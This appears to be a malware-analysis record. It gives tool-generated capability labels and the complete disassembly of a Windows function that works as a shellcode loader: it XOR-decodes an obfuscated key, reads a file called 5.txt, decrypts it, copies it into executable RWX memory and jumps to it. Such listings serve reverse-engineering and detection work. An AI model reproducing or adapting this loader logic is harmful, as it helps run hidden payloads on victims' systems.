Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140013108]
xor rax, rsp
mov qword [rbp + 0x10], rax
movabs rax, 0xe241314cb4a8c8af
lea rcx, str.5.txt
mov qword [rsp + 0x78], rax
movabs rdi, 0x8fa16403646cba0b
movabs rax, 0x6ed2497da0f5a907
mov qword [rsp + 0x50], rdi
mov qword [rbp - 0x80], rax
movabs rsi, 0x4863dc8e177d019f
movabs rax, 0xfc140230c32fea2f
mov qword [rsp + 0x58], rsi
mov qword [rbp - 0x78], rax
movabs r15, 0x94b58c5fe35a1cd0
movabs rax, 0x41061d6ef6b9e088
mov qword [rsp + 0x60], r15
mov qword [rbp - 0x70], rax
movabs r12, 0xe45f938855032854
movabs rax, 0xca442de56117d8a8
mov qword [rsp + 0x68], r12
movabs r13, 0x663b63962ad1c82e
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x70], r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
movabs rcx, 0xa08e5e701418ce63
movabs r14, 0x3f12bafd760a76e8
cmp eax, 0xffffffff
jne 0x140001465
mov qword [rbp - 0x40], rcx
lea r8, str.5.txt
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
movabs rax, 0xf1c2fd3e85297db5
mov qword [rbp - 0x30], rax
xor r9d, r9d
mov qword [rsp + 0x60], r15
movabs rax, 0xd667a1bb642e1c62
mov qword [rbp - 0x28], rax
xor ecx, ecx
mov qword [rsp + 0x68], r12
movabs rax, 0x9584da418e0f817
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0x83345661c4c9e6dc
mov qword [rbp - 0x18], rax
movabs rax, 0x3fc3c12c88fce69
mov qword [rbp - 0x10], rax
movabs rax, 0xd270775faf4c9b56
mov qword [rbp - 8], rax
movabs rax, 0x35282958d9d48feb
mov qword [rbp], rax
movabs rax, 0xca442de56117acd0
mov qword [rbp + 8], rax
movabs rax, 0xe241314cb4a8c8af
mov qword [rsp + 0x78], rax
movabs rax, 0x6ed2497da0f5a907
mov qword [rbp - 0x80], rax
movabs rax, 0xfc140230c32fea2f
mov qword [rbp - 0x78], rax
movabs rax, 0x41061d6ef6b9e088
mov qword [rbp - 0x70], rax
movabs rax, 0xca442de56117d8a8
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x68], rax
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp - 0x10]
mov qword [rbp - 0x38], r14
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x20], rbx
call qword [0x140013968]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, str.5.txt
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015d5
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400014cb
mov rcx, rsi
call qword [fcn.140001c54]
jmp 0x1400015d5
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.msvcrt.dll_malloc]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400015c3
mov ecx, dword [rsp + 0x48]
cmp rcx, qword [rsp + 0x40]
jne 0x1400015c3
mov rcx, rsi
call qword [fcn.140001c54]
mov rsi, qword [rsp + 0x40]
movabs rax, 0xa08e5e701418ce63
mov qword [rbp - 0x50], rax
mov ecx, 0x64
movabs rax, 0xa0ca06414d5b8a3b
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x48], r14
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], bl
jne 0x140001562
test rsi, rsi
je 0x140001588
nop
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rbp + rdx - 0x60]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, rsi
jb 0x140001570
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rsp + 0x40]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
jmp 0x1400015cc
mov rcx, rsi
call qword [fcn.140001c54]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140003550
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret